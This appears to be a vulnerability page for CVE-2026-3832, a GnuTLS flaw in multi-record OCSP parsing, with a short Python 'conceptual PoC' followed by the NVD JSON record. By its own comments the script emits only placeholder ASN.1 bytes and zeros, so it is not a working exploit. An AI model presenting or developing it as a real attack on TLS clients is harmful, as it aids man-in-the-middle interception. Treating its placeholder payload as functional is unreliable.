CVE-2026-3832

#!/usr/bin/env python3 """ Conceptual PoC for CVE-2026-3832 This script demonstrates how an attacker might construct a malformed OCSP response to exploit the logic error in GnuTLS. Note: Actual exploitation requires a Man-in-the-Middle position. """ import socket import struct def build_malicious_ocsp_response(): """ Constructs a hypothetical multi-record OCSP response that triggers the parsing logic error in GnuTLS. """ # ASN.1 structure for OCSPResponse # This is a placeholder representation. Real exploitation would require # precise ASN.1 crafting to bypass specific checks. ocsp_header = b"\x30\x82" # SEQUENCE, length # Simulating a response where one record is revoked but logic ignores it payload = b"\x06\x09\x2b\x06\x01\x05\x05\x07\x30\x01\x01" # OID payload += b"\xA0\x82" # Explicit Tag [0] # Malformed multi-record data # In a real scenario, this would contain crafted SingleResponse elements malformed_data = b"\x00" * 10 return ocsp_header + struct.pack(">H", len(payload + malformed_data)) + payload + malformed_data def main(): print("[+] Generating malicious OCSP response payload...") payload = build_malicious_ocsp_response() print(f"[+] Payload length: {len(payload)} bytes") print("[+] Payload (hex):", payload.hex()) print("[!] In a real attack, this payload would be injected during the TLS handshake.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-3832", "sourceIdentifier": "[email protected]", "published": "2026-04-30T18:16:30.433", "lastModified": "2026-05-11T19:15:57.277", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in gnutls. A remote attacker could exploit this vulnerability by presenting a specially crafted Online Certificate Status Protocol (OCSP) response during a TLS handshake. Due to a logic error in how gnutls processes multi-record OCSP responses, a client with OCSP verification enabled may incorrectly accept a revoked server certificate, potentially leading to a compromise of trust."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-179"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gnu:gnutls:-:*:*:*:*:*:*:*", "matchCriteriaId": "33A22858-21E1-479F-A9C4-AD2EFD059B93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:hardened_images:-:*:*:*:*:*:*:*", "matchCriteriaId": "87DEB507-5B64-47D7-9A50-3B87FD1E571F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "matchCriteriaId": "2F6AB192-9D7D-4A9A-8995-E53A9DE9EAFC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:7.0:*:*:*:*:*:*:*", "matchCriteriaId": "142AD0DD-4CF3-4D74-9442-459CE3347E3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}]}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:13274", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://access.redhat.com/security/cve/CVE-2026-3832", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2445762", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.com/gnutls/gnutls/-/issues/1801", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://gitlab.com/gnutls/gnutls/-/issues/1801", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}